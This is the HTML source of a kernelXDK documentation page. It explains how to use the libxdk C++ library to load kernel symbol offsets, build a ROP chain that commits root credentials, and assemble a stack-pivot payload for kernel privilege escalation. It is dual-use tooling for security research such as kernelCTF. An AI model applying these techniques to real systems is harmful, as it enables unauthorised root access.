1 2 3<!DOCTYPE html> 4<html class="writer-html5" lang="en" data-content_root="../"> 5<head> 6 <meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /> 7 8 <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 9 <title>How to get started — kernelXDK 0.0.1 documentation</title> 10 <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=80d5e7a1" /> 11 <link rel="stylesheet" type="text/css" href="../_static/css/theme.css?v=e59714d7" /> 12 <link rel="stylesheet" type="text/css" href="../_static/collapsible-lists/css/tree_view.css?v=a885cde7" /> 13 14 15
15<script src="../_static/jquery.js?v=5d32c60e"></script>
15 16
16<script src="../_static/_sphinx_javascript_frameworks_compat.js?v=2cd50e6c"></script>
16 17
17<script src="../_static/documentation_options.js?v=d45e8c67"></script>
17 18
18<script src="../_static/doctools.js?v=9bcbadda"></script>
18 19
19<script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
19 20
20<script src="../_static/collapsible-lists/js/CollapsibleLists.compressed.js?v=73120307"></script>
20 21
21<script src="../_static/collapsible-lists/js/apply-collapsible-lists.js?v=660e4f45"></script>
21 22
22<script src="../_static/js/theme.js"></script>
22 23 <link rel="index" title="Index" href="../genindex.html" /> 24 <link rel="search" title="Search" href="../search.html" /> 25 <link rel="next" title="How to port an existing exploit" href="sample_exploit.html" /> 26 <link rel="prev" title="What is libxdk?" href="README.html" /> 27</head> 28 29<body class="wy-body-for-nav"> 30 <div class="wy-grid-for-nav"> 31 <nav data-toggle="wy-nav-shift" class="wy-nav-side"> 32 <div class="wy-side-scroll"> 33 <div class="wy-side-nav-search" > 34 35 36 37 <a href="../index.html" class="icon icon-home"> 38 kernelXDK 39 </a> 40<div role="search"> 41 <form id="rtd-search-form" class="wy-form" action="../search.html" method="get"> 42 <input type="text" name="q" placeholder="Search docs" aria-label="Search docs" /> 43 <input type="hidden" name="check_keywords" value="yes" /> 44 <input type="hidden" name="area" value="default" /> 45 </form> 46</div> 47 </div><div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="Navigation menu"> 48 <p class="caption" role="heading"><span class="caption-text">About</span></p> 49<ul> 50<li class="toctree-l1"><a class="reference internal" href="../about/introduction.html">Introduction</a></li> 51<li class="toctree-l1"><a class="reference internal" href="../about/introduction.html#what-is-kernelxdk">What is kernelXDK?</a></li> 52<li class="toctree-l1"><a class="reference internal" href="../about/kxdb_database.html">KXDB Database</a></li> 53</ul> 54<p class="caption" role="heading"><span class="caption-text">libxdk</span></p> 55<ul class="current"> 56<li class="toctree-l1"><a class="reference internal" href="README.html">What is libxdk?</a></li> 57<li class="toctree-l1"><a class="reference internal" href="README.html#installation">Installation</a></li> 58<li class="toctree-l1 current"><a class="current reference internal" href="#">How to get started</a><ul> 59<li class="toctree-l2"><a class="reference internal" href="#initialize-the-target-database">Initialize the Target Database</a></li> 60<li class="toctree-l2"><a class="reference internal" href="#building-the-payload">Building the Payload</a></li> 61<li class="toctree-l2"><a class="reference internal" href="#assembling-the-final-payload-with-payloadbuilder">Assembling the Final Payload with PayloadBuilder</a></li> 62</ul> 63</li> 64<li class="toctree-l1"><a class="reference internal" href="sample_exploit.html">How to port an existing exploit</a></li> 65<li class="toctree-l1"><a class="reference internal" href="api.html">API Reference</a></li> 66</ul> 67<p class="caption" role="heading"><span class="caption-text">Command Line Tools</span></p> 68<ul> 69<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/image_db.html">Kernel Image DB</a></li> 70<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/image_runner.html">Kernel Image Runner</a></li> 71<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/kxdb_tool.html">KXDB Tool</a></li> 72<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/rop_generator.html">Kernel ROP Generator</a></li> 73</ul> 74 75 </div> 76 </div> 77 </nav> 78 79 <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap"><nav class="wy-nav-top" aria-label="Mobile navigation menu" > 80 <i data-toggle="wy-nav-top" class="fa fa-bars"></i> 81 <a href="../index.html">kernelXDK</a> 82 </nav> 83 84 <div class="wy-nav-content"> 85 <div class="rst-content"> 86 <div role="navigation" aria-label="Page navigation"> 87 <ul class="wy-breadcrumbs"> 88 <li><a href="../index.html" class="icon icon-home" aria-label="Home"></a></li> 89 <li class="breadcrumb-item active">How to get started</li> 90 <li class="wy-breadcrumbs-aside"> 91 <a href="../_sources/libxdk/how_to_get_started.md.txt" rel="nofollow"> View page source</a> 92 </li> 93 </ul> 94 <hr/> 95</div> 96 <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article"> 97 <div itemprop="articleBody"> 98 99 <section id="how-to-get-started"> 100<h1>How to get started<a class="headerlink" href="#how-to-get-started" title="Link to this heading">ï</a></h1> 101<section id="initialize-the-target-database"> 102<h2>Initialize the Target Database<a class="headerlink" href="#initialize-the-target-database" title="Link to this heading">ï</a></h2> 103<p>The target database contains all of the information needed to customize the exploit for the current target.</p> 104<p>This section describes how to use the prebuilt database, extend it if necessary and how to make it replaceable with an updated version.</p> 105<ol class="arabic"> 106<li><p>Add the necessary includes to the exploit code.</p> 107<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="cp">#include</span><span class="w"> </span><span class="cpf"><xdk/core.h></span> 108<span class="cp">#include</span><span class="w"> </span><span class="cpf"><xdk/postrip.h></span> 109</pre></div> 110</div> 111</li> 112<li><p>Include the <strong>target_db</strong>. <code class="docutils literal notranslate"><span class="pre">INCBIN</span></code> creates a read-only section in the exploit binary with the current target database content.</p> 113<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">INCBIN</span><span class="p">(</span><span class="n">target_db</span><span class="p">,</span><span class="w"> </span><span class="s">"target_db.kxdb"</span><span class="p">);</span> 114</pre></div> 115</div> 116</li> 117<li><p>Initialize <strong>TargetDb</strong>. This constructor uses the <code class="docutils literal notranslate"><span class="pre">target_db.kxdb</span></code> file if exists, otherwise it fallbacks to the compile-time <code class="docutils literal notranslate"><span class="pre">INCBIN</span></code>âd database. This way, the exploit can be customized for running on other targets by supplying another <code class="docutils literal notranslate"><span class="pre">target_db.kxdb</span></code> after compilation time.</p> 118<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">TargetDb</span><span class="w"> </span><span class="n">kxdb</span><span class="p">(</span><span class="s">"target_db.kxdb"</span><span class="p">,</span><span class="w"> </span><span class="n">target_db</span><span class="p">);</span> 119</pre></div> 120</div> 121</li> 122<li><p>Already available in database structure and symbol offsets are documented in <a class="reference external" href="https://github.com/google/kernel-research/blob/main/kxdb_tool/config.py">kxdb_tool/config.py</a>. 123They are added for all the supported targets.</p></li> 124<li><p>
124If the needed symbol is not in database, use <code class="docutils literal notranslate"><span class="pre">Target</span></code> object to add it. One object per target needed. For example:</p> 125<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">Target</span><span class="w"> </span><span class="n">st</span><span class="p">(</span><span class="s">"kernelctf"</span><span class="p">,</span><span class="w"> </span><span class="s">"cos-105-17412.294.34"</span><span class="p">);</span> 126 127<span class="n">st</span><span class="p">.</span><span class="n">AddSymbol</span><span class="p">(</span><span class="s">"nft_last_ops"</span><span class="p">,</span><span class="w"> </span><span class="mh">0x1acaf20</span><span class="p">);</span> 128 129<span class="n">kxdb</span><span class="p">.</span><span class="n">AddTarget</span><span class="p">(</span><span class="n">st</span><span class="p">);</span> 130</pre></div> 131</div> 132</li> 133<li><p>Similar approach could be taken for adding structure and fields information:</p> 134<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">st</span><span class="p">.</span><span class="n">AddStruct</span><span class="p">(</span><span class="s">"nft_expr_ops"</span><span class="p">,</span><span class="w"> </span><span class="mi">128</span><span class="p">,</span><span class="w"> </span><span class="p">{</span> 135<span class="w"> </span><span class="p">{</span><span class="s">"dump"</span><span class="p">,</span><span class="w"> </span><span class="mi">64</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="p">},</span> 136<span class="w"> </span><span class="p">{</span><span class="s">"type"</span><span class="p">,</span><span class="w"> </span><span class="mi">120</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="p">}</span><span class="w"> </span><span class="p">});</span> 137</pre></div> 138</div> 139<blockquote> 140<div><p><strong>Note</strong> 141<code class="docutils literal notranslate"><span class="pre">128</span></code> in the example above is a size of the <code class="docutils literal notranslate"><span class="pre">nft_expr_ops</span></code> structure. <code class="docutils literal notranslate"><span class="pre">{"dump",</span> <span class="pre">64,</span> <span class="pre">8}</span></code> field is located at the offset of 64 and as is a pointer, size would be 8 for 64-bit architecture.</p> 142</div></blockquote> 143</li> 144<li><p>Detect which target the exploit is being run on.</p> 145<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="k">auto</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">kxdb</span><span class="p">.</span><span class="n">AutoDetectTarget</span><span class="p">();</span> 146<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Running on target: %s %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetDistro</span><span class="p">().</span><span class="n">c_str</span><span class="p">(),</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetReleaseName</span><span class="p">().</span><span class="n">c_str</span><span class="p">());</span> 147</pre></div> 148</div> 149</li> 150<li><p>Access pre-defined or added (via <code class="docutils literal notranslate"><span class="pre">Target</span></code>) structures and symbols using following calls:</p> 151<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="k">auto</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetStructSize</span><span class="p">(</span><span class="s">"nft_expr_ops"</span><span class="p">);</span><span class="w"> </span><span class="c1">// not used, just showing API usage</span> 152<span class="k">auto</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetFieldOffset</span><span class="p">(</span><span class="s">"nft_expr"</span><span class="p">,</span><span class="w"> </span><span class="s">"ops"</span><span class="p">);</span><span class="w"> </span><span class="c1">// get the offset of ops field in nft_expr structure</span> 153 154<span class="o">*</span><span class="p">(</span><span class="kt">
154uint64_t</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">kernel_base</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetSymbolOffset</span><span class="p">(</span><span class="s">"nft_last_ops"</span><span class="p">);</span><span class="w"> </span><span class="c1">// the address of nft_last_ops</span> 155</pre></div> 156</div> 157</li> 158</ol> 159</section> 160<section id="building-the-payload"> 161<h2>Building the Payload<a class="headerlink" href="#building-the-payload" title="Link to this heading">ï</a></h2> 162<p>After leaking a kernel address and calculating the KASLR base, you can begin constructing the exploit payload.</p> 163<ol class="arabic"> 164<li><p>Initialize a <code class="docutils literal notranslate"><span class="pre">Payload</span></code> object. This will serve as the buffer for our ROP chain and other necessary data.</p> 165<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">Payload</span><span class="w"> </span><span class="nf">payload</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span> 166</pre></div> 167</div> 168</li> 169<li><p>To set constants or to reserve areas that must not be altered by the <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code>, set their values explicitly beforehand:</p> 170<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">payload</span><span class="p">.</span><span class="n">SetU64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x100</span><span class="p">);</span><span class="w"> </span><span class="c1">// Sets 8 bytes at offset 0 to 0x100.</span> 171<span class="n">payload</span><span class="p">.</span><span class="n">SetU32</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"> </span><span class="c1">// Sets 4 bytes at offset 24 to 0 (reserving the area).</span> 172</pre></div> 173</div> 174</li> 175<li><p>Create the <code class="docutils literal notranslate"><span class="pre">RopChain</span></code>. This object is initialized with target-specific information and the KASLR base. You can then add predefined actions to it. The <code class="docutils literal notranslate"><span class="pre">Ret2Usr</span></code> utility helps in gracefully returning execution to a user-mode function after the kernel operations are complete.</p> 176<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">RopChain</span><span class="w"> </span><span class="nf">rop</span><span class="p">(</span><span class="n">target</span><span class="p">,</span><span class="w"> </span><span class="n">kaslr_base</span><span class="p">);</span> 177<span class="n">rop</span><span class="p">.</span><span class="n">AddRopAction</span><span class="p">(</span><span class="n">RopActionId</span><span class="o">::</span><span class="n">COMMIT_INIT_TASK_CREDS</span><span class="p">);</span> 178<span class="n">RopUtils</span><span class="o">::</span><span class="n">Ret2Usr</span><span class="p">(</span><span class="n">rop</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">win</span><span class="p">);</span> 179</pre></div> 180</div> 181<blockquote> 182<div><p><strong>Note</strong> 183Available ROP actions could be found in <a class="reference external" href="https://github.com/google/kernel-research/blob/main/kxdb_tool/config.py">kxdb_tool/config.py</a>.</p> 184</div></blockquote> 185</li> 186</ol> 187</section> 188<section id="assembling-the-final-payload-with-payloadbuilder"> 189<h2>Assembling the Final Payload with PayloadBuilder<a class="headerlink" href="#assembling-the-final-payload-with-payloadbuilder" title="Link to this heading">ï</a></h2> 190<p>The <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> automates the process of finding a suitable pivot gadget and combining it with your payload and ROP chain.</p> 191<ol class="arabic"> 192<li><p>Initialize the <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> with the targetâs available pivot gadgets and the KASLR base.</p> 193<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">PayloadBuilder</span><span class="w"> </span><span class="nf">builder</span><span class="p">(</span><span class="n">target</span><span class="p">.</span><span class="n">pivots</span><span class="p">,</span><span class="w"> </span><span class="n">kaslr_base</span><span class="p">);</span> 194</pre></div> 195</div> 196</li> 197<li><p>Add the <code class="docutils literal notranslate"><span class="pre">payload</span></code> object to the builder. You need to specify which register will point to your payload buffer (e.g., <code class="docutils literal notranslate"><span class="pre">Register::RSI</span></code>) and the offset within that buffer where the instruction pointer (<code class="docutils literal notranslate"><span class="pre">rip</span></code>) will be hijacked.</p> 198<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="kt">
198uint64_t</span><span class="w"> </span><span class="n">rip_off</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fake_ops_offs</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">release_offs</span><span class="p">;</span><span class="w"> </span><span class="c1">// Calculated offset for RIP control</span> 199<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="w"> </span><span class="n">Register</span><span class="o">::</span><span class="n">RSI</span><span class="p">,</span><span class="w"> </span><span class="n">rip_off</span><span class="p">);</span> 200</pre></div> 201</div> 202<p>In the situation when multiple registers contain a pointer to the payload, itâs worth informing <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> about it:</p> 203<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="kt">uint64_t</span><span class="w"> </span><span class="n">rip_off</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fake_ops_offs</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">release_offs</span><span class="p">;</span><span class="w"> </span><span class="c1">// Calculated offset for RIP control</span> 204<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="n">Register</span><span class="o">::</span><span class="n">RSI</span><span class="p">,</span><span class="w"> </span><span class="n">Register</span><span class="o">::</span><span class="n">RAX</span><span class="p">},</span><span class="w"> </span><span class="n">rip_off</span><span class="p">);</span> 205</pre></div> 206</div> 207<p><code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> is capable of handling multiple buffers (and use them if needed to accomodate ROP chain actions). To inform <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> about such a setup use:</p> 208<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">Payload</span><span class="w"> </span><span class="nf">payload1</span><span class="p">(</span><span class="n">payload_size_1</span><span class="p">);</span> 209<span class="n">Payload</span><span class="w"> </span><span class="nf">payload2</span><span class="p">(</span><span class="n">payload_size_2</span><span class="p">);</span> 210<span class="n">PayloadBuilder</span><span class="w"> </span><span class="nf">builder</span><span class="p">(</span><span class="n">target</span><span class="p">.</span><span class="n">pivots</span><span class="p">,</span><span class="w"> </span><span class="n">kernel_base</span><span class="p">);</span><span class="w"> </span><span class="c1">// create builder</span> 211 212<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload1</span><span class="p">,</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">nullopt</span><span class="p">,</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">nullopt</span><span class="p">);</span> 213<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload2</span><span class="p">,</span><span class="w"> </span><span class="n">Register</span><span class="o">::</span><span class="n">RSI</span><span class="p">,</span><span class="w"> </span><span class="n">rip_off</span><span class="p">);</span><span class="w"> </span><span class="c1">// add payload, with register, and rip_offset</span> 214</pre></div> 215</div> 216</li> 217<li><p>Add the <code class="docutils literal notranslate"><span class="pre">RopChain</span></code> to the builder.</p> 218<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">builder</span><span class="p">.</span><span class="n">AddRopChain</span><span class="p">(</span><span class="n">rop</span><span class="p">);</span> 219</pre></div> 220</div> 221</li> 222<li><p>Build the final payload. The <code class="docutils literal notranslate"><span class="pre">Build()</span></code> method will find an appropriate pivot gadget that uses the specified register (<code class="docutils literal notranslate"><span class="pre">RSI</span></code> in this case) to redirect execution to your ROP chain. The necessary gadgets and the ROP chain itself will be written into the <code class="docutils literal notranslate"><span class="pre">payload</span></code> object you provided earlier.</p> 223<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">builder</span><span class="p">.</span><span class="n">Build</span><span class="p">())</span> 224<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span> 225</pre></div> 226</div> 227<p>Once built, the <code class="docutils literal notranslate"><span class="pre">payload</span></code>
227 object contains the complete, ready-to-use exploit payload.</p> 228</li> 229<li><p>The contents of the final payload can be printed for inspection and debugging using the <code class="docutils literal notranslate"><span class="pre">HexDump::Print</span></code> method.</p> 230<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 231<span class="n">HexDump</span><span class="o">::</span><span class="n">Print</span><span class="p">(</span><span class="n">payload</span><span class="p">.</span><span class="n">GetUsedData</span><span class="p">());</span> 232</pre></div> 233</div> 234<blockquote> 235<div><p><strong>Note:</strong> 236The <code class="docutils literal notranslate"><span class="pre">GetUsedData()</span></code> method returns only the data actually written to the payload, excluding the unused bytes at the end of the buffer.</p> 237</div></blockquote> 238</li> 239<li><p>In cases when pointer to pivot gadget should be part of some other buffer or passed as a parameter it could be obtained in the following way after building the final payload:</p> 240<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">some_buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">kernel_base</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">builder</span><span class="p">.</span><span class="n">GetStackPivot</span><span class="p">().</span><span class="n">GetGadgetOffset</span><span class="p">();</span> 241</pre></div> 242</div> 243</li> 244</ol> 245</section> 246</section> 247 248 249 </div> 250 </div> 251 <footer><div class="rst-footer-buttons" role="navigation" aria-label="Footer"> 252 <a href="README.html" class="btn btn-neutral float-left" title="What is libxdk?" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left" aria-hidden="true"></span> Previous</a> 253 <a href="sample_exploit.html" class="btn btn-neutral float-right" title="How to port an existing exploit" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right" aria-hidden="true"></span></a> 254 </div> 255 256 <hr/> 257 258 <div role="contentinfo"> 259 <p>© Copyright 2025, Google.</p> 260 </div> 261 262 Built with <a href="https://www.sphinx-doc.org/">Sphinx</a> using a 263 <a href="https://github.com/readthedocs/sphinx_rtd_theme">theme</a> 264 provided by <a href="https://readthedocs.org">Read the Docs</a>. 265 266 267</footer> 268 </div> 269 </div> 270 </section> 271 </div> 272
272<script> 273 jQuery(function () { 274 SphinxRtdTheme.Navigation.enable(true); 275 }); 276 </script>
276 277 278</body> 279</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.